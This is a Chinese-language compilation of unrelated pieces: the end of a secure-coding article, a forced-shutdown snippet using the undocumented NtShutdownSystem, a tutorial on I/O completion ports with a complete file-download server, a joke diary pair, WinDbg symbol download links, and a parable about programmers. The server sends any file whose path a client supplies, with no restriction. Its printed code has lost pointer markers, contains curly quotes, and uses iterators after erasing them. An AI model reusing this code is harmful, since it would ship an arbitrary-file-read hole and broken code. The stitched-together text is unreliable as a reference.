最后,请记住,工具不能取代人来了解如何编写安全代码。这就是安全和隐私教育为何如此重要的原因。您需要全面深入的了解这些概念,对您的工具无法进行的调用和洞察做出判断。


习惯 7:识别策略不对称

这是我最喜欢的一种习惯。记住,作为一名软件开发人员,安全方面的隐患会对您不利。我喜欢称之为“攻击者的优势和防御者的尴尬”您需要确保代码和设计在 100% 的时间内 100% 准确,这是不可能的。更糟糕的是,您还必须在固定的预算内达到这一无法实现的目标,同时还必须考虑到可支持性、兼容性、可访问性和其他“能力”的要求。攻击者会用足够长的时间来找出错误,然后向全世界宣布您的应用程序是不安全的。

在习惯 6 中,我曾经提到,您应该停止编写新的不安全代码。对于习惯 7,您应该关注所有代码,因为攻击者会攻击所有代码,无论是哪个时期的代码。花些时间查看旧代码,找出安全漏洞,并认真考虑受到贬低的旧的不安全功能。如果您使用的是灵活的开发方法,那么您应该考虑派一名或多名专业人员修复旧代码,使其质量与新代码持平。


习惯 8:尽可能使用最佳工具

最后,尽可能使用最佳工具。我喜欢源代码分析工具,并且喜欢所有能够帮助我编写出更安全代码的技术。正如我提到的,工具并非万能的,但它们会有所帮助。会有很大帮助!工具还可以帮助衡量源代码分析得出的问题。工具可以快速扫描大量代码,比人工速度要快得多。而且,这还可以使您感觉到某些代码有多么“差”。

我喜欢的一种技巧就是使用可能的最高警告级别编译代码,例如在使用 Visual C++® 时使用 /W4 警告级别,或者在使用 gcc 时使用 –Wall 警告级别。如果您在代码中发现了大量警告,那么可能该代码还存在编译程序或其他工具没有发现的其他错误。对于这种代码,在提供代码前应该对其进行更详细的安全检查(参见习惯 3)。

我发现我所尊敬的 Microsoft 内部和外部的开发人员具备了这八种良好的习惯。这些习惯本身不会使您成为一流的安全开发人员,但它们肯定会对您有所帮助!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 以下代码实现在NT以上系统的快速关机,关机速度在2秒以内,不保存资料,不伤硬盘
typedef enum _SHUTDOWN_ACTION {
ShutdownNoReboot, // 关机
ShutdownReboot, // 重启
ShutdownPowerOff // 这个没有试,有心的人试下
} SHUTDOWN_ACTION;

DWORD (__stdcall *NtShutdownSystem)(SHUTDOWN_ACTION);

VOID ShutDown()
{
HANDLE hToken;
// 得到关机权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tkp;

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}

// 加载未公开API,强行关机(快速)
HMODULE mod;
mod = LoadLibrary("ntdll.dll");
NtShutdownSystem = (DWORD(__stdcall *)(SHUTDOWN_ACTION))GetProcAddress(mod, "NtShutdownSystem");
NtShutdownSystem(ShutdownNoReboot);
}

早在两年前我就已经能很熟练的运用完成端口这种技术了,只是一直没有机会将它用在什么项目中,这段时间见到这种技术被过分炒作,过分的神秘化,就想写一篇解释它如何工作的文章.想告诉大家它没有传说中的那么高深难懂!有什么错误的地方还请高人指正.转载请注明出处及作者,谢谢!

以一个文件传输服务端为例,在我的机器上它只起两个线程就可以为很多个个客户端同时提供文件下载服务,程序的性能会随机器内CPU个数的增加而线性增长,我尽可能做到使它清晰易懂,虽然程序很小却用到了NT 5的一些新特性,重叠IO,完成端口以及线程池,基于这种模型的服务端程序应该是NT系统上性能最好的了.

首先.做为完成端口的基础,我们应该理解重叠IO,这需要你已经理解了内核对象及操作系统的一些概念概念,什么是信号/非信号态,什么是等待函数,什么是成功等待的副作用,什么是线程挂起等,如果这些概令还没有理解,你应该先看一下Windows 核心编程中的相关内容.如果已经理解这些,那么重叠IO对你来说并不难.

你可以这样认为重叠IO,现在你已经进入一个服务器/客户机环境,请不要混淆概念,这里的服务器是指操作系统,而客户机是指你的程序(它进行IO操作),是当你进行IO操作(send,recv,writefile,readfile….)时你发送一个IO请求给服务器(操作系统),由服务器来完成你需要的操作,然后你什么事都没有了,当服务器完成IO请求时它会通知你,当然在这期间你可以做任何事,一个常用的技巧是在发送重叠IO请求后,程序在一个循环中一边调用PeekMessage,TranslateMessage和DispatchMessage更新界面,同时调用GetOverlappedResult等待服务器完成IO操作,更高效一点的做法是使用IO完成例程来处理服务器(操作系统)返回的结果,但并不是每个支持重叠IO操作的函数都支持完成例程如TransmitFile函数.

例1.一次重叠写操作过程(GetOverlappedResult方法):
1.填写一个OVERLAPPED结构
2.进行一次写操作,并指定重叠操作参数(上面的OVERLAPPED结构变量的指针)
3.做其它事(如更新界面)
4.GetOverlappedResult取操作结果
5.如果IO请求没有完成,并且没有出错则回到期3
6.处理IO操作结果

例2.一次重叠写操作过程(完成例程方法):
1.填写一个OVERLAPPED结构
2.进行一次写操作,并指定重叠操作参数(上面的OVERLAPPED结构变量的指针),并指定完成例程
3.做其它事(如更新界面)
4.当完成例程被调用说明IO操作已经完成或出错,现在可以对操作结果进行处理了


如果你已经理解上面的概念,就已经很接近IO完成端口了,当然这只是很常规的重叠操作它已经非常高效,但如果再结合多线程对一个File或是Socket进行重叠IO操作就会非常复杂,通常程序员很难把握这种复杂度.完成端口可以说就是为了充分发挥多线程和重叠IO操作相结合的性能而设计的.很多人都说它复杂,其实如果你自己实现一个多线程的对一个File或是Socket进行重叠IO操作的程序(注意是多个线程对一个HANDLE或SOCKET进行重叠IO操作,而不是启一个线程对一个HANDLE进行重叠IO操作)就会发现完成端口实际上简化了多线程里使用重叠IO的复杂度,并且性能更高,性能高在哪?下面进行说明.

我们可能写过这样的服务端程序:

例3.主程序:
1.监听一个端口
2.等待连接
3.当有连接来时
4.启一个线程对这个客户端进行处理
5.回到2

服务线程:
1.读客户端请求
2.如果客户端不再有请求,执行6
3.处理请求
4.返回操作结果
5.回到1
6.退出线程

这是一种最简单的网络服务器模型,我们把它优化一下

例4.主程序:
1.开一个线程池,里面有机器能承受的最大线程数个线程,线程都处于挂起(suspend)状态
1.监听一个端口
2.等待连接
3.当有连接来时
4.从线程池里Resume一个线程对这个客户端进行处理
5.回到2

服务线程与例3模型里的相同,只是当线程处理完客户端所有请求后,不是退出而是回到线程池,再次挂起让出CPU时间,并等待为下一个客户机服务.当然在此期间线程会因为IO操作(服务线程的第1,5操作,也许还有其它阻塞操作)挂起自己,但不会回到线程池,也就是说它一次只能为一个客户端服务.

这可能是你能想到的最高效的服务端模型了吧!它与第一个服务端模型相比少了很多个用户态到内核态的CONTEXT Switch,反映也更加快速,也许你可能觉得这很微不足道,这说明你缺少对大规模高性能服务器程序(比如网游服务端)的认识,如果你的服务端程序要对几千万个客户端进行服务呢?这也是微软Windows NT开发组在NT 5以上的系统中添加线程池的原因.

思考一下什么样的模型可以让一个线程为多个客户端服务呢!那就要跳出每来一个连接启线程为其服务的固定思维模式,我们把线程服务的最小单元分割为单独的读或写操作(注意是读或写不是读和写),而不是一个客户端从连接到断开期间的所有读写操作.每个线程都使用重叠IO进行读写操作,投递了读写请求后线程回到线程池,等待为其它客户机服务,当操作完成或出错时再回来处理操作结果,然后再回到线程池.

看看这样的服务器模型:
例5.主程序:
1.开一个线程池,里面有机器内CPU个数两倍的线程,线程都处于挂起(suspend)状态,它们在都等处理一次重叠IO操作的完成结果
1.监听一个端口
2.等待连接
3.当有连接来时
4.投递一个重叠读操作读取命令
5.回到2

服务线程:
1.如果读完成,则处理读取的内容(如HTTP GET命令),否则执行3
2.投递一个重叠写操作(如返回HTTP GET命令需要的网页)
3.如果是一个写操作完成,可以再投递一个重叠读操作,读取客户机的下一个请求,或者是关闭连接(如HTTP协议里每发完一个网页就断开)
4.取得下一个重叠IO操作结果,如果IO操作没有完成或没有IO操作则回到线程池

假设这是一个WEB服务器程序,可以看到工作者线程是以读或写为最小的工作单元运行的,在主程序里面进行了一次重叠读操作

当读操作完成时一个线程池中的一个工作者线程被激活取得了操作结果,处理GET或POST命令,然后发送一个网页内容,发送也是一个重叠操作,然后处理对其它客户机的IO操作结果,如果没有其它的东西需要处理时回到线程池等待.可以看到使用这种模型发送和接收可以是也可以不是一个线程.

当发送操作完成时,线程池中的一个工作者线程池激活,它关闭连接(HTTP协议),然后处理其它的IO操作结果,如果没有其它的东西需要处理时回到线程池等待.

看看在这样的模型中一个线程怎么为多个客户端服务,同样是模拟一个WEB服务器例子:

假如现在系统中有两个线程,ThreadA,ThreadB它们在都等处理一次重叠IO操作的完成结果

当一个客户机ClientA连接来时主程序投递一个重叠读操作,然后等待下一个客户机连接,当读操作完成时ThreadA被激活,它收到一个HTTP GET命令,然后ThreadA使用重叠写操作发送一个网页给ClientA,然后立即回到线程池等待处理下一个IO操作结果,这时发送操作还没有完成,又有一个客户机ClientB连接来,主程序再投递一个重叠读操作,当读操作完成时ThreadA(当然也可能是ThreadB)再次被激活,它重复同样步骤,收到一个GET命令,使用重叠写操作发送一个网页给ClientB,这次它没有来得及回到线程池时,又有一个连接ClientC连入,主程序再投递一个重叠读操作,读操作完成时ThreadB被激活(因为ThreadA还没有回到线程池)它收到一个HTTP GET命令,然后ThreadB使用重叠写操作发送一个网页给ClientC,然后ThreadB回到线程池,这时ThreadA也回到了线程池.

可以想象现在有三个挂起的发送操作分别是ThreadA发送给ClientA和ClientB的网页,以及ThreadB发送给ClientC的网页,它们由操作系统内核来处理.ThreadA和ThreadB现在已经回到线程池,可以继续为其它任何客户端服务.

当对ClientA的重叠写操作已经完成,ThreadA(也可以是ThreadB)又被激活它关闭与ClientA连接,但还没有回到线程池,与此同时发送给ClientB的重叠写操作也完成,ThreadB被激活(因为ThreadA还没有回到线程池)它关闭与ClientB的连接,然后回到线程池,这时ClientC的写操作也完成,ThreadB再次被激活(因为ThreadA还是没有回到线程池),它再关闭与ClientC的连接,这时ThreadA回到线程池,ThreadB也回到线程池.这时对三个客户端的服务全部完成.可以看到在整个服务过程中,”建立连接”,”读数据”,”写数据”和”关闭连接”等操作是逻辑上连续而实际上分开的.

到现在为止两个线程处理了三次读操作和三次写操作,在这些读写操作过程中所出现的状态机(state machine)是比较复杂的,我们模拟的是经过我简化过的,实际上的状态要比这个还要复杂很多,然而这样的服务端模型在客户端请求越多时与前两个模型相比的性能越高.而使用完成端口我们可以很容易实现这样的服务器模型.

微软的IIS WEB服务器就是使用这样的服务端模型,很多人说什么阿帕奇服务器比IIS的性能好什么什么的我表示怀疑,除非阿帕奇服务器可以将线程分割成,为更小的单元服务,我觉得不太可能!这种完成端口模型已经将单个读或写操作作为最小的服务单元,我觉得在相同机器配置的情况下IIS的性能要远远高于其它WEB服务器,这也是从实现机理上来分析的,如果出现性能上的差别可能是在不同的操作系统上,也许Linux的内核比Windows的要好,有人真的研究过吗?还是大家一起在炒作啊.

对于状态机概念,在很多方面都用到,TCPIP中有,编译原理中有,OpengGL中有等等,我的离散数学不好(我是会计专业不学这个),不过还是搞懂了些,我想如果你多花些时间看,还是可以搞懂的.最后是一个简单的文件传输服务器程序代码,只用了两个线程(我的机器里只有一块CPU)就可以服务多个客户端.我调试时用它同时为6个nc客户端提供文件下载服务都没有问题,当然更多也不会有问题,只是略为使用了一下NT 5的线程池和完成端口技术就可以有这样高的性能,更不用说IIS的性能咯!

希望大家不要陷在这个程序的框架中,Ctrl+C,Ctrl+V没有什么意义,要理解它的实质.程序使用Visual C++ 6.0 SP5+2003 Platform SDK编译通过,在Windows XP Professional下调试运行通过.程序运行的最低要求是Windows 2000操作系统.

/
  created:   2005/12/24
  created:   24:12:2005   20:25
  modified:   2005/12/24
  filename:   d:\vcwork\iocomp\iocomp.cpp
  file path:   d:\vcwork\iocomp
  file base:   iocomp
  file ext:   cpp
  author:     kruglinski(kruglinski_at_gmail_dot_com)
 
  purpose:   利用完成端口技术实现的高性能文件下载服务程序
*/

#define _WIN32_WINNT   0x0500

#include <cstdlib>
#include <clocale>
#include <ctime>
#include <iostream>//一使用输入输出流程序顿时增大70K
#include <vector>
#include <algorithm>
#include <winsock2.h>
#include <mswsock.h>

using namespace std;

#pragma comment(lib,”ws2_32.lib”)
#pragma comment(lib,”mswsock.lib”)

const int MAX_BUFFER_SIZE=1024;
const int PRE_SEND_SIZE=1024;
const int QUIT_TIME_OUT=3000;
const int PRE_DOT_TIMER=QUIT_TIME_OUT/80;

typedef enum{IoTransFile,IoSend,IoRecv,IoQuit} IO_TYPE;

typedef struct
{
  SOCKET hSocket;
  SOCKADDR_IN ClientAddr;
}PRE_SOCKET_DATA,*PPRE_SOCKET_DATA;

typedef struct
{
  OVERLAPPED   oa;
  WSABUF     DataBuf;
  char     Buffer[MAX_BUFFER_SIZE];
  IO_TYPE     IoType;
}PRE_IO_DATA,PPRE_IO_DATA;

typedef vector<PPRE_SOCKET_DATA>   SocketDataVector;
typedef vector<PPRE_IO_DATA>     IoDataVector;

SocketDataVector   gSockDataVec;
IoDataVector     gIoDataVec;

CRITICAL_SECTION   csProtection;

char
TimeNow(void)
{
  time_t t=time(NULL);
  tm localtm=localtime(&t);
  static char timemsg[512]={0};
 
  strftime(timemsg,512,”%Z: %B %d %X,%Y”,localtm);
  return timemsg;
}

BOOL TransFile(PPRE_IO_DATA pIoData,PPRE_SOCKET_DATA pSocketData,DWORD dwNameLen)
{
  //这一句是为nc做的,你可以修改它
  pIoData->Buffer[dwNameLen-1]=’\0’;
 
  HANDLE hFile=CreateFile(pIoData->Buffer,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
  BOOL bRet=FALSE;

  if(hFile!=INVALID_HANDLE_VALUE)
  {
    cout<<”Transmit File “<<pIoData->Buffer<<” to client”<<endl;
    pIoData->IoType=IoTransFile;
    memset(&pIoData->oa,0,sizeof(OVERLAPPED));
    reinterpret_cast<HANDLE>(pIoData->Buffer)=hFile;
    TransmitFile(pSocketData->hSocket,hFile,GetFileSize(hFile,NULL),PRE_SEND_SIZE,reinterpret_cast<LPOVERLAPPED>(pIoData),NULL,TF_USE_SYSTEM_THREAD);
    bRet=WSAGetLastError()==WSA_IO_PENDING;
  }
  else
    cout<<”Transmit File “<<”Error:”<<GetLastError()<<endl;

  return bRet;
}

DWORD WINAPI ThreadProc(LPVOID IocpHandle)
{
  DWORD dwRecv=0;
  DWORD dwFlags=0;
 
  HANDLE hIocp=reinterpret_cast<HANDLE>(IocpHandle);
  DWORD dwTransCount=0;
  PPRE_IO_DATA pPreIoData=NULL;
  PPRE_SOCKET_DATA pPreHandleData=NULL;

  while(TRUE)
  {
    if(GetQueuedCompletionStatus(hIocp,&dwTransCount,
        reinterpret_cast<LPDWORD>(&pPreHandleData),
        reinterpret_cast<LPOVERLAPPED
>(&pPreIoData),INFINITE))
    {
        if(0==dwTransCount&&IoQuit!=pPreIoData->IoType)
        {
          cout<<”Client:”
            <<inet_ntoa(pPreHandleData->ClientAddr.sin_addr)
            <<”:”<<ntohs(pPreHandleData->ClientAddr.sin_port)
            <<” is closed”<<endl;

          closesocket(pPreHandleData->hSocket);

          EnterCriticalSection(&csProtection);
            IoDataVector::iterator itrIoDelete=find(gIoDataVec.begin(),gIoDataVec.end(),pPreIoData);
            gIoDataVec.erase(itrIoDelete);
            SocketDataVector::iterator itrSockDelete=find(gSockDataVec.begin(),gSockDataVec.end(),pPreHandleData);
            gSockDataVec.erase(itrSockDelete);
          LeaveCriticalSection(&csProtection);

          delete *itrIoDelete;
          delete *itrSockDelete;
         
          continue;
        }
       
        switch(pPreIoData->IoType){
        case IoTransFile:
          cout<<”Client:”
            <<inet_ntoa(pPreHandleData->ClientAddr.sin_addr)
            <<”:”<<ntohs(pPreHandleData->ClientAddr.sin_port)
            <<” Transmit finished”<<endl;
          CloseHandle(reinterpret_cast<HANDLE>(pPreIoData->Buffer));
          goto LRERECV;
         
        case IoSend:
          cout<<”Client:”
            <<inet_ntoa(pPreHandleData->ClientAddr.sin_addr)
            <<”:”<<ntohs(pPreHandleData->ClientAddr.sin_port)
            <<” Send finished”<<endl;

LRERECV:
          pPreIoData->IoType=IoRecv;
          pPreIoData->DataBuf.len=MAX_BUFFER_SIZE;
          memset(&pPreIoData->oa,0,sizeof(OVERLAPPED));

          WSARecv(pPreHandleData->hSocket,&pPreIoData->DataBuf,1,
            &dwRecv,&dwFlags,
            reinterpret_cast<LPWSAOVERLAPPED>(pPreIoData),NULL);

          break;

        case IoRecv:
          cout<<”Client:”
            <<inet_ntoa(pPreHandleData->ClientAddr.sin_addr)
            <<”:”<<ntohs(pPreHandleData->ClientAddr.sin_port)
            <<” recv finished”<<endl;
          pPreIoData->IoType=IoSend;
         
          if(!TransFile(pPreIoData,pPreHandleData,dwTransCount))
          {
            memset(&pPreIoData->oa,0,sizeof(OVERLAPPED));
            strcpy(pPreIoData->DataBuf.buf,”File transmit error!\r\n”);
            pPreIoData->DataBuf.len=strlen(pPreIoData->DataBuf.buf);
           
            WSASend(pPreHandleData->hSocket,&pPreIoData->DataBuf,1,
                &dwRecv,dwFlags,
                reinterpret_cast<LPWSAOVERLAPPED>(pPreIoData),NULL);
          }
          break;
         
        case IoQuit:
          goto LQUIT;
         
        default:
          ;
        }
    }  
  }
 
LQUIT:
  return 0;
}

HANDLE hIocp=NULL;
SOCKET hListen=NULL;

BOOL WINAPI ShutdownHandler(DWORD dwCtrlType)
{
  PRE_SOCKET_DATA PreSockData={0};
  PRE_IO_DATA PreIoData={0};

  PreIoData.IoType=IoQuit;

  if(hIocp)
  {
    PostQueuedCompletionStatus(hIocp,1,
        reinterpret_cast<ULONG_PTR>(&PreSockData),
        reinterpret_cast<LPOVERLAPPED>(&PreIoData));

    cout<<”Shutdown at “<<TimeNow()<<endl<<”wait for a moment please”<<endl;
   
    //让出CPU时间,让线程退出
    for(int t=0;t<80;t+=1)
    {
        Sleep(PRE_DOT_TIMER);
        cout<<”.”;
    }
   
    CloseHandle(hIocp);
  }
 
  int i=0;

  for(;i<gSockDataVec.size();i++)
  {
    PPRE_SOCKET_DATA pSockData=gSockDataVec[i];
    closesocket(pSockData->hSocket);
    delete pSockData;
  }

  for(i=0;i<gIoDataVec.size();i++)
  {
    PPRE_IO_DATA pIoData=gIoDataVec[i];
    delete pIoData;
  }

  DeleteCriticalSection(&csProtection);
  if(hListen)
    closesocket(hListen);

  WSACleanup();
  exit(0);
  return TRUE;
}

LONG WINAPI MyExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo)
{
  ShutdownHandler(0);
  return EXCEPTION_EXECUTE_HANDLER;
}

u_short DefPort=8182;

int main(int argc,char *argv)
{
  if(argc==2)
    DefPort=atoi(argv[1]);

  InitializeCriticalSection(&csProtection);
  SetUnhandledExceptionFilter(MyExceptionFilter);
  SetConsoleCtrlHandler(ShutdownHandler,TRUE);

  hIocp=CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,0);

  WSADATA data={0};
  WSAStartup(0x0202,&data);

  hListen=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(INVALID_SOCKET==hListen)
  {
    ShutdownHandler(0);
  }
 
  SOCKADDR_IN addr={0};
  addr.sin_family=AF_INET;
  addr.sin_port=htons(DefPort);
 
  if(bind(hListen,reinterpret_cast<PSOCKADDR>(&addr),
    sizeof(addr))==SOCKET_ERROR)
  {
    ShutdownHandler(0);
  }
 
  if(listen(hListen,256)==SOCKET_ERROR)
    ShutdownHandler(0);

  SYSTEM_INFO si={0};
  GetSystemInfo(&si);
  si.dwNumberOfProcessors<<=1;

  for(int i=0;i<si.dwNumberOfProcessors;i++)
  {
   
    QueueUserWorkItem(ThreadProc,hIocp,WT_EXECUTELONGFUNCTION);
  }
 
  cout<<”Startup at “<<TimeNow()<<endl
    <<”work on port “<<DefPort<<endl
    <<”press CTRL+C to shutdown”<<endl<<endl<<endl;

  while(TRUE)
  {
    int namelen=sizeof(addr);
    memset(&addr,0,sizeof(addr));
    SOCKET hAccept=accept(hListen,reinterpret_cast<PSOCKADDR>(&addr),&namelen);

    if(hAccept!=INVALID_SOCKET)
    {
        cout<<”accept a client:”<<inet_ntoa(addr.sin_addr)<<”:”<<ntohs(addr.sin_port)<<endl;

        PPRE_SOCKET_DATA pPreHandleData=new PRE_SOCKET_DATA;
        pPreHandleData->hSocket=hAccept;
        memcpy(&pPreHandleData->ClientAddr,&addr,sizeof(addr));
       
        CreateIoCompletionPort(reinterpret_cast<HANDLE>(hAccept),
          hIocp,reinterpret_cast<DWORD>(pPreHandleData),0);
       
        PPRE_IO_DATA pPreIoData=new(nothrow) PRE_IO_DATA;

        if(pPreIoData)
        {
          EnterCriticalSection(&csProtection);
            gSockDataVec.push_back(pPreHandleData);
            gIoDataVec.push_back(pPreIoData);
          LeaveCriticalSection(&csProtection);

          memset(pPreIoData,0,sizeof(PRE_IO_DATA));
          pPreIoData->IoType=IoRecv;
          pPreIoData->DataBuf.len=MAX_BUFFER_SIZE;
          pPreIoData->DataBuf.buf=pPreIoData->Buffer;
          DWORD dwRecv=0;
          DWORD dwFlags=0;
          WSARecv(hAccept,&pPreIoData->DataBuf,1,
            &dwRecv,&dwFlags,
            reinterpret_cast<WSAOVERLAPPED
>(pPreIoData),NULL);
        }
        else
        {
          delete pPreHandleData;
          closesocket(hAccept);
        }
    }
  }
 
  return 0;
}

参考资料:
《MSDN 2001》
《Windows 网络编程》
《Windows 核心编程》
《TCP/IP详解》

她的日记:

  昨天晚上他真的是非常非常古怪。我们本来约好了一起去一个餐厅吃晚饭。
  但是我白天和我好朋友去购物了,结果就去晚了一会儿,可能就因此让他不高兴了。他一直不理睬我,气氛僵极了。后来我主动让步,说我们都退一步,好好的交流一下吧。他虽然同意了,但是还是继续沉默,一副无精打采心不在焉的样子。我问他到底怎么了,他只说'没事。后来我就问他,是不是我惹他生气了。他说,这不关我的事,让我不要管。在回家的路上我对他说,我爱他。但是他只是继续开车,一点反应也没有。我真的不明白啊,我不知道他为什么不再说'我也爱你'了。我们到家的时候我感觉,我可能要失去他了,因为他已经不想跟我有什么关系了,他不想理我了。他坐在那儿什么也不说,就只是闷着头的看电视, 继续发呆,继续无精打采。后来我只好自己上床睡去了。10分钟以后他爬到床上来了,他一直都在想别的什么。他的心思根本不在我这里!这真的是太让我心痛了。我决定要跟他好好的谈一谈。但是他居然就已经睡着了!我只好躺在他身边默默的流泪,后来哭着哭着睡着了。我现在非常的确定,他肯定是有了别的女人了。这真的像天塌下来了一样。天哪,我真不知道我活着还有什么意义。


他的日记:

  TMD,意大利居然输了……

WinDbg for Windows
WinDbg for Windows, 32bit version 6.6.7.5 [15.2MB]
http://msdl.microsoft.com/download/symbols/debuggers/dbg_x86_6.6.07.5.exe

WinDbg for Windows, 64bit Itanium version 6.6.7.5 [19.9MB]
http://msdl.microsoft.com/download/symbols/debuggers/dbg_ia64_6.6.07.5.exe

WinDbg for Windows, 64bit x86 version 6.6.7.5 [12.6MB]
http://msdl.microsoft.com/download/symbols/debuggers/dbg_amd64_6.6.07.5.exe

 

Windows Server 2003 symbols with no Service Pack
Itanium checked symbols, all languages [123MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/windows2003.ia64.chk.rtm.symbols.exe

Itanium retail symbols, all languages [105MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/windows2003.ia64.fre.rtm.symbols.exe

x86 checked symbols, all languages [163MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003.x86.chk.rtm.symbols.exe

x86 retail symbols, all languages [168MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003.x86.fre.rtm.symbols.exe


Windows Server 2003 with Service Pack 1 symbols
Itanium-based checked symbols, all languages [123MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003_sp1.ia64.chk.rtm.symbols.exe

Itanium-based retail symbols, all languages [102MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003_sp1.ia64.fre.rtm.symbols.exe

x64-based checked symbols, all languages [113MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003_sp1.amd64.chk.rtm.symbols.exe

x64-based retail symbols, all languages [123MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003_sp1.amd64.fre.rtm.symbols.exe

x86 checked symbols, all languages [146MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003_sp1.x86.chk.rtm.symbols.exe

x86 retail symbols, all languages [153MB]
http://msdl.microsoft.com/download/symbols/packages/windows2003/Windows2003_sp1.x86.fre.rtm.symbols.exe


Windows XP symbols with no Service Pack
IA-64 checked symbols, all languages [116MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/windowsxp.ia64.chk.rtm.symbols.exe

IA-64 retail symbols, all languages [95MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/windowsxp.ia64.fre.rtm.symbols.exe

x86 checked symbols, all languages [147MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/windowsxp.x86.chk.rtm.symbols.exe

x86 retail symbols, all languages [149MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/windowsxp.x86.fre.rtm.symbols.exe


Windows XP with Service Pack 1 and Service Pack 1a symbols
Itanium checked symbols, all languages [124MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/xpsp1sym_ia64_chk.exe

Itanium retail symbols, all languages [101MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/xpsp1sym_ia64.exe

x86 checked symbols, all languages [168MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/xpsp1sym_x86_chk.exe

x86 retail symbols, all languages [172MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/xpsp1sym_x86.exe


Windows XP with Service Pack 2 symbols
x86 checked symbols, all languages [188MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/WindowsXP-KB835935-SP2-Debug-slp-Symbols.exe

x86 retail symbols, all languages [195MB]
http://msdl.microsoft.com/download/symbols/packages/windowsxp/WindowsXP-KB835935-SP2-slp-Symbols.exe

2001年,当SUN提出SUN.ONE构架的那一天,XX大学毕业的牛在“牛狼之家”   

聊天战碰到了一个公司的Coder   

-------------------------------------------------------------------   

牛: 你懂XXX协议、YYY框架、ZZZ思想吗   

coder:稍微知道一点点   

牛: 那你看过XX牛的《XXXX》第X版第X卷,YY牛的《YYYY》第Y版第Y卷,   

    ZZ牛的《ZZZZ》第Z版第Z卷吗   

coder:你说的这些书都是《经典书籍》,不过我大都没认真看过   

牛: 这么说,你对XXX协议、YYY框架、ZZZ思想的底层细节应该不是很了解哦   

coder:可以这么说   

牛: 你具体做什么项目,   

coder:做X2X网站   

牛: 你说你不懂XXX协议、YYY框架、ZZZ思想的底层细节,那么你们做X2X网站时,  
   碰到XXX问题你怎么解决的   

coder:很简单,我们会给XX、YY大学的牛发Email,叫他们给我们解XXX组件。很方   
   便的。   

牛: 如果没人肯帮你们解XXX组件呢   

coder:不会的,每次都有N多牛排长对呢。再说了,到Internet上Search一下,买   
   XXX组件的公司成堆   

牛: 好了,好了,我再问你,你都用什么语言开发呢   

coder:用ASP+VB   

牛: 你只不知道MS已经不再支持VB+ASP了,改为C#+MS.NET   

coder:在聊天室里听牛说过   

牛: 那你为什么还要用VB   

coder:C#,JAVA我不懂 ,所以我用VB   

牛: 唉,又来了,基础的XXX协议、YYY框架、ZZZ思想的底层细节你说你不太懂,   
   前沿的C#, MS.NET;JAVA,SUN.ONE你又不懂,你难道没想过要好好学学吗   

coder:我有想过啊   

牛: 那你为什么不学呢   

coder:我没有时间   

牛: 你的时间都到哪儿去了   

coder:用VB+ASP编代码赚钱啊   

牛: 赚钱干吗   

coder:供我儿子出国读大学   

牛: 读研究生   

coder:不是,是读本科   

牛: 读本科就出去读,没必要吧   

coder:在XXX协议、YYY框架、ZZZ思想的底层细节方面,国内经常生产牛的最牛的  
    XX大学刚刚入门,在****方面连门都没入。我知道我儿子是块搞技术的料,  
   所以我想要让我儿子系统掌握XXX协议、YYY框架、ZZZ思想的细节,精通前  
    沿的...   

   (听到Coder批评牛毕业的XX大学,牛有点生气了,开始不客气起来)   

牛: 你知不知道,你没有XXX协议、YYY框架、ZZZ思想的底层细节,是写不出完美   
  的代码出来的。还有,像你这样,虽然现在可以赚一点小钱,但四年后肯定要   
   被淘汰的......   

coder:在我淘汰之前,我就不想干了   

牛: 那你去干嘛   

coder:我想开一家软件公司,招很多牛,包括精通XXX协议、YYY框架、ZZZ思想的  
   底层细节的牛,精通MS.net SUN.ONE的牛......   

牛: 好笑!   

----------------------------------------------------------------------   

4年后,软件业VB已经彻底绝迹,XXX协议、YYY框架、ZZZ思想的底层细节已经被大量  
修改,MS.net和SUN.ONE也快倒掉的时候.......   

牛: (XXX公司CTO办公室里,看着www.xxx.com上的新闻)   

   啊! MS.net和SUN.ONE真要倒掉了吗?看来偶要继续充电了.......   

coder:(XXX公司CEO办公室里,看着www.xxx.com上的新闻)   

  哦,MS.net和SUN.ONE果真快倒掉了。看来我要招聘新的CTO和Coder了...   


谁也不知道,XXX公司的CTO和CEO就是当年在“牛狼之家”聊天战聊天的牛和Coder。   

   

 很多人自以为什么都知道---的确有很多牛从协议细节到当前潮流到开发环境.... 样样都精通,但那是少数---可是却偏偏不知道自己正真需要的是什么,自己最需要的又是什么,自己为什么要去知道这么多东西。   

 有的人知道的的确不多,但是他知道他最需要的是什么。他知道他时间不多,只   
能去争取他最需要的东西。   

 以后的社会分工会越来越细,没必要也没有可能什么都懂,开飞机的显然不必知   
道流体力学---虽然流体力学毫无疑问是飞机飞上天的基础;装配飞机的显然不必知道  
采购来的发动机具体是如何把航空油变成动力输出的----虽然这是飞机可以开动的基  
础。   

 一样,用COM+或者EJB组件构造企业系统,你根本没有必要知道这个COM+或者EJB   
